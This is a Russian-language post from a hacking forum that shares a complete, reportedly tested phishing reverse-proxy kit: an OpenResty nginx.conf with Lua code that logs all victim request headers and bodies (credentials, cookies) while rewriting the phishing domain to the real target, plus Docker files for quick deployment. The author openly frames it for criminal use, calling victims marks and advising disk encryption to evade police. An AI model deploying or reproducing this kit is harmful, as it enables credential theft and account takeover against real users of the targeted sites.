• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья Простейший PoC для фишинга с помощью OpenResty в качестве реверс прокси

zdestuta

(L1) cache
Пользователь
Регистрация
04.06.2024
Сообщения
755
Реакции
376
Дисклеймер: ясен пень никто не будет это использовать "в целях самообучения", поэтому шифруйте диски, потому что если менты найдут у вас это ебобо даже на флэшке при себе, то... в общем всем успешно избежить набутыливания!

В общем фишить простые ресурсы это пц как просто оказалось (лично для меня - проще фишлетов для evilginx), поэтому я не поленился и вот вам конфиг nginx.conf для openresty ну и докерные файлы впридачу чтоб на изи запускать, этот конфиг просто тупо всё логирует заголовки плюс тела запросов и ответов, а в ответах для определёных типов контента подменяет содержимое в частности домен local на remote и обратно где надо, вот рабочий провереный мной лично PoC :
Код:
# LOCALDOMAIN.TLD - это то что вы выдаёте в ссылке для "мамонтёнка"
# REMOTEDOMAIN.TLD - оригинал сайта, таргет
# как всё работает вот кратко смотри картинку тут https://openresty-reference.readthedocs.io/en/latest/Directives/
worker_processes 1;
events { worker_connections 1024; }

http {
    resolver 8.8.8.8 8.8.4.4 1.1.1.1 1.0.0.1 ipv6=off valid=300s;

    include       mime.types;
    default_type  application/octet-stream;

    lua_need_request_body on;
    client_max_body_size 10m;
    sendfile on;

    access_log /dev/stdout combined; # для запуска в докере валим логи в консоль
    error_log  /dev/stderr debug;

    server {
        listen 80;
        server_name LOCALDOMAIN.TLD *.LOCALDOMAIN.TLD;
        return 301 https://$host$request_uri; # редирект на HTTPS
    }

    server {
        listen 443 ssl;
        server_name LOCALDOMAIN.TLD *.LOCALDOMAIN.TLD; # тут к сожалению нельзя переменные заюзать

        # если хотите поиграться с самоподписанным сертификатом
        # openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout LOCALDOMAIN.TLD.pem -out LOCALDOMAIN.TLD.pem
        ssl_certificate     /etc/ssl/certs/LOCALDOMAIN.TLD.pem;
        ssl_certificate_key /etc/ssl/private/LOCALDOMAIN.TLD.pem;

        location / {
            access_by_lua_block {
                -- Накуй вебсокеты мы их не сможем да и не надо
                local upgrade = ngx.req.get_headers()["Upgrade"]
                if upgrade and upgrade:lower() == "websocket" then return  end

                ngx.req.read_body()
                local request_headers = ngx.req.get_headers()
                local request_body = ngx.req.get_body_data()

                -- Логируем все заголовки запроса "как есть"
                io.stdout:write("==== Incoming Request (from Browser) ====\n") io.stdout:flush()
                io.stdout:write(ngx.var.request_method, " ", ngx.var.request_uri, " ", ngx.var.server_protocol, "\n") io.stdout:flush()
                for k, v in pairs(request_headers) do
                    if type(v) == "table" then
                        io.stdout:write(k, ": ", table.concat(v, ", "), "\n") io.stdout:flush()
                    else
                        io.stdout:write(k, ": ", v, "\n") io.stdout:flush()
                    end
                end
                io.stdout:write(request_body or "\n", "\n") io.stdout:flush()
                io.stdout:write("===========================\n") io.stdout:flush()

                -- Подменяем заголовки какие надо
                for k, v in pairs(request_headers) do
                    if type(v) == "string" then
                        ngx.req.set_header(k, v:gsub("LOCALDOMAIN.TLD", "REMOTEDOMAIN.TLD"))
                    elseif type(v) == "table" then
                        local new_tbl = {}
                        for i, val in ipairs(v) do
                            new_tbl[i] = val:gsub("LOCALDOMAIN.TLD", "REMOTEDOMAIN.TLD")
                        end
                        ngx.req.set_header(k, new_tbl)
                    end
                end

                -- И ещё раз логируем подменённые - этож концепт, для отладки
                local request_headers_m = ngx.req.get_headers()
                io.stdout:write("==== Incoming Request (Changed) ====\n") io.stdout:flush()
                io.stdout:write(ngx.var.request_method, " ", ngx.var.request_uri, " ", ngx.var.server_protocol, "\n") io.stdout:flush()
                for k, v in pairs(request_headers_m) do
                    if type(v) == "table" then
                        io.stdout:write(k, ": ", table.concat(v, ", "), "\n") io.stdout:flush()
                    else
                        io.stdout:write(k, ": ", v, "\n") io.stdout:flush()
                    end
                end
                io.stdout:write("Body: ", request_body or "(empty)", "\n") io.stdout:flush()
                io.stdout:write("===========================\n") io.stdout:flush()
            }

            ### proxy_set_header Host $http_host; # уже сделано в access_by_lua_block
            proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
            proxy_set_header X-Real-IP $remote_addr;
            proxy_set_header Accept-Encoding ""; # чтоб remote не вздумал прислать gzip , можно в принципе тоже в access_by_lua_block делать, я просто ленивый
            # чтоб вебсокеты вообще работали просто байпассить их будем тупо
            proxy_http_version 1.1;
            proxy_set_header Upgrade $http_upgrade;
            proxy_set_header Connection "upgrade";
            proxy_read_timeout 3600s; # для длинных вебсокетных сессий полезно
            # end по вебсокетам, выше см.
            proxy_ssl_server_name on; # отправляем обязательно SNI чтоб не облажаться например если таргет за CloudFlare в том числе
            proxy_pass https://$http_host; # поехали!

            # Обрабатываем заголоки ответа
            header_filter_by_lua_block {
                local response_headers = ngx.resp.get_headers() or {}

                -- Логируем заголовки ответа "как есть"
                io.stdout:write("==== Response Headers (from Remote) ====\n") io.stdout:flush()
                io.stdout:write(ngx.var.server_protocol, " ", ngx.status, "\n") io.stdout:flush()
                for k, v in pairs(response_headers) do
                    if type(v) == "table" then
                        io.stdout:write(k, ": ", table.concat(v, ", "), "\n") io.stdout:flush()
                    else
                        io.stdout:write(k, ": ", v, "\n") io.stdout:flush()
                    end
                end
                io.stdout:write("===========================\n") io.stdout:flush()

                -- Подменяем чего надо в заголовках ответа
                for k, v in pairs(response_headers) do
                    if type(v) == "string" then
                        local new_value = v:gsub("REMOTEDOMAIN.TLD", "LOCALDOMAIN.TLD")
                        if new_value ~= v then
                            ngx.header[k] = new_value
                        end
                    elseif type(v) == "table" then
                        local new_tbl = {}
                        for i, val in ipairs(v) do
                            new_tbl[i] = val:gsub("REMOTEDOMAIN.TLD", "LOCALDOMAIN.TLD")
                        end
                        ngx.header[k] = new_tbl
                    end
                end

                -- Ещё раз логируем уже поменяные заголовки ответа - для дебага чисто, этож PoC
                io.stdout:write("==== Response Headers (Changed) ====\n") io.stdout:flush()
                io.stdout:write(ngx.var.server_protocol, " ", ngx.status, "\n") io.stdout:flush()
                for k, v in pairs(ngx.header) do
                    if type(v) == "table" then
                        io.stdout:write(k, ": ", table.concat(v, ", "), "\n") io.stdout:flush()
                    else
                        io.stdout:write(k, ": ", v, "\n") io.stdout:flush()
                    end
                end
                io.stdout:write("===========================\n") io.stdout:flush()

                -- Инициализируем таблицу Lua для сборки всего body ответа, можно было бы по chunk'ам реплейсить, но есть риск объебаться если то что надо реплейсить будет на границе двух чанков
                ngx.ctx.response_body = {}
            }

            # Обработка тела ответа от remote, вызывается несколько раз по'chunk'ово
            body_filter_by_lua_block {
                -- забиваем на вебсокеты мы их не можем в рамках данного модуля, если хотите вебсокеты то вариант только свой модуль писать на C
                if ngx.var.http_upgrade and ngx.var.http_upgrade:lower() == "websocket" then return end

                local chunk, eof = ngx.arg[1], ngx.arg[2] -- ngx.arg[1] это чанк, а ngx.arg[2] это признак eof true/false
                if not chunk then return end

                -- не везде подменяем, а только для определённых типов контента, ибо в картинках JPG или PNG доменного имени я ещё не видел ни разу :-)
                if not ngx.ctx.should_replace then
                    local content_type = ngx.header.content_type or ""
                    -- модифицируем только HTML, JS, CSS, or JSON
                    if content_type:find("text/html") or
                       content_type:find("application/javascript") or
                       content_type:find("text/javascript") or
                       content_type:find("text/css") or
                       content_type:find("application/json")
                    then
                        ngx.ctx.should_replace = true
                    else
                        ngx.ctx.should_replace = false
                    end
                end

                -- Если не надо ничего менять - тупо passthrough этот chunk (да и последующие этого же контента, например картинки растровой) нетронутым
                if not ngx.ctx.should_replace then
                    return
                end

                -- собираем чанки
                if chunk ~= "" then
                    table.insert(ngx.ctx.response_body, chunk)
                    ngx.arg[1] = nil -- don't send the chunk to client yet
                end

                -- всё прилетело, можно бодик собирать!
                if eof then
                    local response_body = table.concat(ngx.ctx.response_body)

                    -- и в полностью соббранном бодике ответа уже подменяем чего нам надо
                    response_body = response_body:gsub("REMOTEDOMAIN.TLD", "LOCALDOMAIN.TLD")

                    -- логируем поменяный бодик ответа, правда хз нафиг это надо, только логи засирать, потому закомментил
                    -- io.stdout:write("==== Modified Full Response Body ====\n") io.stdout:flush()
                    -- io.stdout:write(response_body, "\n") io.stdout:flush()
                    -- io.stdout:write("=====================================\n") io.stdout:flush()

                    ngx.arg[1] = response_body # возвращаем целиком поменяный бодик "мамонту" , заголовки ранее уже сделали см. выше
                    ngx.arg[2] = true
                end
            }
        }
    }
}
И вот такой например docker-compose.yml чтоб запускать просто:
Код:
services:
  openresty:
    container_name: "openresty"
    build:
      context: .
      dockerfile: Dockerfile
    ports:
      - "80:80"
      - "443:443"
    volumes:
      - ./nginx.conf:/usr/local/openresty/nginx/conf/nginx.conf:ro
      - ./pem:/etc/ssl/pem:ro
    restart: unless-stopped
И вот такой Dockerfile , можно и без него конечно, но вдруг чего доставить какие Lua модули захотите:
Код:
# за основу берём openresty свежак на данный момент, полный, на базе Debian 12 Bookworm для AMD64 , если у вас сервак ARM или ARM64 ну образ базовый соответственно смените а этой строке
FROM openresty/openresty:1.27.1.2-5-bookworm-fat-amd64

# ставим дополнительные Lua модули, ну мало ли захочется фиши в БД складывать например
#RUN luarocks install lua-resty-http \
#    && luarocks install lua-resty-jwt \
#    && luarocks install lua-cjson

# ставим дополнительный софт если надо
#RUN apt-get update && apt-get install -y \
#    vim curl git less \
#    && rm -rf /var/lib/apt/lists/*

EXPOSE 80 443

# запускаем избегая демонизации - нам логи в консоли нужны потому что
CMD ["/usr/local/openresty/bin/openresty", "-g", "daemon off;"]

Никакие претензии "это ниработает на Фейсбуке и Инсте!" не принимаются - да это криво но оно точно 100пудово работает для простых страниц, цели для FB/Instagram сделать готовенькое и тут выложить - вот даже близко не было! Я за то чтоб люди вдохновились и мозгами пошуршали! :)
Я для того в виде PoC и публикую, чтобы кому надо доделали сами, а если у вас "не работает" - значит вам оно и не надо, а надо читать мануалы !

Фишит это дело только один домен как видите, соответственно простые WordPress админки или входы на роутер или какую-то ерунду оно залогирует и подменит как здрасьте, проверено!

Бонус такого деплоя: вам не обязательно сервак - с этой штукой можно поиграться локально (и даже в виртуальной машине) поменяв /etc/hosts или C:\Windows\system32\drivers\etc\hosts и доверившись в браузере вашему самоподписанному сертификату.
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх